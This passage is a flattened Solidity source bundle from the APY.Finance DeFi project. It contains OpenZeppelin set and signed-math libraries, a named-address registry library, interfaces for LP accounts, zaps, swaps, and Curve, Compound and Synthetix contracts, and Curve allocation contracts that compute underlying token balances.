O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IAssetAllocation, INameIdentifier} from "contracts/common/Imports.sol"; import {IZap, ISwap} from "contracts/lpaccount/Imports.sol"; /** * @notice Stores a set of addresses that can be looked up by name * @notice Addresses can be added or removed dynamically * @notice Useful for keeping track of unique deployed contracts * @dev Each address must be a contract with a `NAME` constant for lookup */ // solhint-disable ordering library NamedAddressSet { using EnumerableSet for EnumerableSet.AddressSet; struct Set { EnumerableSet.AddressSet _namedAddresses; mapping(string => INameIdentifier) _nameLookup; } struct AssetAllocationSet { Set _inner; } struct ZapSet { Set _inner; } struct SwapSet { Set _inner; } function _add(Set storage set, INameIdentifier namedAddress) private { require(Address.isContract(address(namedAddress)), "INVALID_ADDRESS"); require( !set._namedAddresses.contains(address(namedAddress)), "DUPLICATE_ADDRESS" ); string memory name = namedAddress.NAME(); require(bytes(name).length != 0, "INVALID_NAME"); require(address(set._nameLookup[name]) == address(0), "DUPLICATE_NAME"); set._namedAddresses.add(address(namedAddress)); set._nameLookup[name] = namedAddress; } function _remove(Set storage set, string memory name) private { address namedAddress = address(set._nameLookup[name]); require(namedAddress != address(0), "INVALID_NAME"); set._namedAddresses.remove(namedAddress); delete set._nameLookup[name]; } function _contains(Set storage set, INameIdentifier namedAddress) private view returns (bool) { return set._namedAddresses.contains(address(namedAddress)); } function _length(Set storage set) private view returns (uint256) { return set._namedAddresses.length(); } function _at(Set storage set, uint256 index) private view returns (INameIdentifier) { return INameIdentifier(set._namedAddresses.at(index)); } function _get(Set storage set, string memory name) private view returns (INameIdentifier) { return set._nameLookup[name]; } function _names(Set storage set) private view returns (string[] memory) { uint256 length_ = set._namedAddresses.length(); string[] memory names_ = new string[](length_); for (uint256 i = 0; i < length_; i++) { INameIdentifier namedAddress = INameIdentifier(set._namedAddresses.at(i)); names_[i] = namedAddress.NAME(); } return names_; } function add( AssetAllocationSet storage set, IAssetAllocation assetAllocation ) internal { _add(set._inner, assetAllocation); } function remove(AssetAllocationSet storage set, string memory name) internal { _remove(set._inner, name); } function contains( AssetAllocationSet storage set, IAssetAllocation assetAllocation ) internal view returns (bool) { return _contains(set._inner, assetAllocation); } function length(AssetAllocationSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AssetAllocationSet storage set, uint256 index) internal view returns (IAssetAllocation) { return IAssetAllocation(address(_at(set._inner, index))); } function get(AssetAllocationSet storage set, string memory name) internal view returns (IAssetAllocation) { return IAssetAllocation(address(_get(set._inner, name))); } function names(AssetAllocationSet storage set) internal view returns (string[] memory) { return _names(set._inner); } function add(ZapSet storage set, IZap zap) internal { _add(set._inner, zap); } function remove(ZapSet storage set, string memory name) internal { _remove(set._inner, name); } function contains(ZapSet storage set, IZap zap) internal view returns (bool) { return _contains(set._inner, zap); } function length(ZapSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(ZapSet storage set, uint256 index) internal view returns (IZap) { return IZap(address(_at(set._inner, index))); } function get(ZapSet storage set, string memory name) internal view returns (IZap) { return IZap(address(_get(set._inner, name))); } function names(ZapSet storage set) internal view returns (string[] memory) { return _names(set._inner); } function add(SwapSet storage set, ISwap swap) internal { _add(set._inner, swap); } function remove(SwapSet storage set, string memory name) internal { _remove(set._inner, name); } function contains(SwapSet storage set, ISwap swap) internal view returns (bool) { return _contains(set._inner, swap); } function length(SwapSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(SwapSet storage set, uint256 index) internal view returns (ISwap) { return ISwap(address(_at(set._inner, index))); } function get(SwapSet storage set, string memory name) internal view returns (ISwap) { return ISwap(address(_get(set._inner, name))); } function names(SwapSet storage set) internal view returns (string[] memory) { return _names(set._inner); } } // solhint-enable ordering // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IZap} from "./IZap.sol"; import {ISwap} from "./ISwap.sol"; import {ILpAccount} from "./ILpAccount.sol"; import {IZapRegistry} from "./IZapRegistry.sol"; import {ISwapRegistry} from "./ISwapRegistry.sol"; import {IStableSwap3Pool} from "./IStableSwap3Pool.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IAssetAllocation, INameIdentifier, IERC20 } from "contracts/common/Imports.sol"; /** * @notice Used to define how an LP Account farms an external protocol */ interface IZap is INameIdentifier { /** * @notice Deploy liquidity to a protocol (i.e. enter a farm) * @dev Implementation should add liquidity and stake LP tokens * @param amounts Amount of each token to deploy */ function deployLiquidity(uint256[] calldata amounts) external; /** * @notice Unwind liquidity from a protocol (i.e exit a farm) * @dev Implementation should unstake LP tokens and remove liquidity * @dev If there is only one token to unwind, `index` should be 0 * @param amount Amount of liquidity to unwind * @param index Which token should be unwound */ function unwindLiquidity(uint256 amount, uint8 index) external; /** * @notice Claim accrued rewards from the protocol (i.e. harvest yield) */ function claim() external; /** * @notice Retrieves the LP token balance */ function getLpTokenBalance(address account) external view returns (uint256); /** * @notice Order of tokens for deploy `amounts` and unwind `index` * @dev Implementation should use human readable symbols * @dev Order should be the same for deploy and unwind * @return The array of symbols in order */ function sortedSymbols() external view returns (string[] memory); /** * @notice Asset allocations to include in TVL * @dev Requires all allocations that track value deployed to the protocol * @return An array of the asset allocation names */ function assetAllocations() external view returns (string[] memory); /** * @notice ERC20 asset allocations to include in TVL * @dev Should return addresses for all tokens that get deployed or unwound * @return The array of ERC20 token addresses */ function erc20Allocations() external view returns (IERC20[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IAssetAllocation, INameIdentifier, IERC20 } from "contracts/common/Imports.sol"; /** * @notice Used to define a token swap that can be performed by an LP Account */ interface ISwap is INameIdentifier { /** * @dev Implementation should perform a token swap * @param amount The amount of the input token to swap * @param minAmount The minimum amount of the output token to accept */ function swap(uint256 amount, uint256 minAmount) external; /** * @notice ERC20 asset allocations to include in TVL * @dev Should return addresses for all tokens going in and out of the swap * @return The array of ERC20 token addresses */ function erc20Allocations() external view returns (IERC20[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice For contracts that provide liquidity to external protocols */ interface ILpAccount { /** * @notice Deploy liquidity with a registered `IZap` * @dev The order of token amounts should match `IZap.sortedSymbols` * @param name The name of the `IZap` * @param amounts The token amounts to deploy */ function deployStrategy(string calldata name, uint256[] calldata amounts) external; /** * @notice Unwind liquidity with a registered `IZap` * @dev The index should match the order of `IZap.sortedSymbols` * @param name The name of the `IZap` * @param amount The amount of the token to unwind * @param index The index of the token to unwind into */ function unwindStrategy( string calldata name, uint256 amount, uint8 index ) external; /** * @notice Return liquidity to a pool * @notice Typically used to refill a liquidity pool's reserve * @dev This should only be callable by the `MetaPoolToken` * @param pool The `IReservePool` to transfer to * @param amount The amount of the pool's underlyer token to transer */ function transferToPool(address pool, uint256 amount) external; /** * @notice Swap tokens with a registered `ISwap` * @notice Used to compound reward tokens * @notice Used to rebalance underlyer tokens * @param name The name of the `IZap` * @param amount The amount of tokens to swap * @param minAmount The minimum amount of tokens to receive from the swap */ function swap( string calldata name, uint256 amount, uint256 minAmount ) external; /** * @notice Claim reward tokens with a registered `IZap` * @param name The name of the `IZap` */ function claim(string calldata name) external; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IZap} from "./IZap.sol"; /** * @notice For managing a collection of `IZap` contracts */ interface IZapRegistry { /** @notice Log when a new `IZap` is registered */ event ZapRegistered(IZap zap); /** @notice Log when an `IZap` is removed */ event ZapRemoved(string name); /** * @notice Add a new `IZap` to the registry * @dev Should not allow duplicate swaps * @param zap The new `IZap` */ function registerZap(IZap zap) external; /** * @notice Remove an `IZap` from the registry * @param name The name of the `IZap` (see `INameIdentifier`) */ function removeZap(string calldata name) external; /** * @notice Get the names of all registered `IZap` * @return An array of `IZap` names */ function zapNames() external view returns (string[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {ISwap} from "./ISwap.sol"; /** * @notice For managing a collection of `ISwap` contracts */ interface ISwapRegistry { /** @notice Log when a new `ISwap` is registered */ event SwapRegistered(ISwap swap); /** @notice Log when an `ISwap` is removed */ event SwapRemoved(string name); /** * @notice Add a new `ISwap` to the registry * @dev Should not allow duplicate swaps * @param swap The new `ISwap` */ function registerSwap(ISwap swap) external; /** * @notice Remove an `ISwap` from the registry * @param name The name of the `ISwap` (see `INameIdentifier`) */ function removeSwap(string calldata name) external; /** * @notice Get the names of all registered `ISwap` * @return An array of `ISwap` names */ function swapNames() external view returns (string[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice the stablecoin pool contract */ interface IStableSwap3Pool { function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; function coins(uint256 coin) external view returns (address); // solhint-disable-next-line func-name-mixedcase function get_dy( int128 i, int128 j, uint256 dx ) external view returns (uint256); } // SPDX-License-Identifier: BSD 3-Clause /* * https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol */ pragma solidity 0.6.11; interface CTokenInterface { function symbol() external returns (string memory); function decimals() external returns (uint8); function totalSupply() external returns (uint256); function isCToken() external returns (bool); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function accrueInterest() external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; /** * @notice the Curve token minter * @author Curve Finance * @dev translated from vyper * license MIT * version 0.2.4 */ // solhint-disable func-name-mixedcase, func-param-name-mixedcase interface ITokenMinter { /** * @notice Mint everything which belongs to `msg.sender` and send to them * @param gauge_addr `LiquidityGauge` address to get mintable amount from */ function mint(address gauge_addr) external; /** * @notice Mint everything which belongs to `msg.sender` across multiple gauges * @param gauge_addrs List of `LiquidityGauge` addresses */ function mint_many(address[8] calldata gauge_addrs) external; /** * @notice Mint tokens for `_for` * @dev Only possible when `msg.sender` has been approved via `toggle_approve_mint` * @param gauge_addr `LiquidityGauge` address to get mintable amount from * @param _for Address to mint to */ function mint_for(address gauge_addr, address _for) external; /** * @notice allow `minting_user` to mint for `msg.sender` * @param minting_user Address to toggle permission for */ function toggle_approve_mint(address minting_user) external; } // solhint-enable // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice the stablecoin pool contract */ interface IStableSwap { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); // solhint-disable-next-line function underlying_coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; // solhint-disable-next-line function add_liquidity( uint256[3] memory amounts, uint256 minMinAmount, bool useUnderlyer ) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[3] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount, bool useUnderlyer ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // solhint-disable-next-line no-empty-blocks interface IStableSwap3 is IStableSwap { } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IStableSwap2 { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); // solhint-disable-next-line function underlying_coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; // solhint-disable-next-line function add_liquidity( uint256[2] memory amounts, uint256 minMinAmount, bool useUnderlyer ) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[2] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount, bool useUnderlyer ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IStableSwap4 { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[4] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IOldStableSwap2 { function balances(int128 coin) external view returns (uint256); function coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[2] memory min_amounts) external; /// @dev need this due to lack of `remove_liquidity_one_coin` function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IOldStableSwap3 { function balances(int128 coin) external view returns (uint256); function coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[3] memory min_amounts) external; /// @dev need this due to lack of `remove_liquidity_one_coin` function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IOldStableSwap4 { function balances(int128 coin) external view returns (uint256); function coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[4] memory min_amounts) external; /// @dev need this due to lack of `remove_liquidity_one_coin` function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the liquidity gauge, i.e. staking contract, for the stablecoin pool */ interface ILiquidityGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address _addr) external; function withdraw(uint256 _value) external; /** * @notice Claim available reward tokens for msg.sender */ // solhint-disable-next-line func-name-mixedcase function claim_rewards() external; /** * @notice Get the number of claimable reward tokens for a user * @dev This function should be manually changed to "view" in the ABI * Calling it via a transaction will claim available reward tokens * @param _addr Account to get reward amount for * @param _token Token to get reward amount for * @return uint256 Claimable reward token amount */ // solhint-disable-next-line func-name-mixedcase function claimable_reward(address _addr, address _token) external returns (uint256); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; /* * Synthetix: StakingRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * */ interface IStakingRewards { // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: BUSDL-2.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice deposit contract used for pools such as Compound and USDT */ interface IDepositZap { // solhint-disable-next-line function underlying_coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity_one_coin( uint256 _amount, int128 i, uint256 minAmount ) external; function curve() external view returns (address); } // SPDX-License-Identifier: BUSDL-2.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice deposit contract used for pools such as Compound and USDT */ interface IDepositZap3 { // solhint-disable-next-line function underlying_coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity_one_coin( uint256 _amount, int128 i, uint256 minAmount ) external; function curve() external view returns (address); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {INameIdentifier} from "contracts/common/Imports.sol"; abstract contract Curve3poolUnderlyerConstants { // underlyer addresses address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7; } abstract contract Curve3poolConstants is Curve3poolUnderlyerConstants, INameIdentifier { string public constant override NAME = "curve-3pool"; address public constant STABLE_SWAP_ADDRESS = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address public constant LP_TOKEN_ADDRESS = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address public constant LIQUIDITY_GAUGE_ADDRESS = 0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // solhint-disable-next-line no-empty-blocks contract CurveAllocationBase3 is CurveAllocationBase { } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap2, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase2 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap2 stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap4, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase4 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap4 stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IZap} from "contracts/lpaccount/Imports.sol"; import { IAssetAllocation, IERC20, 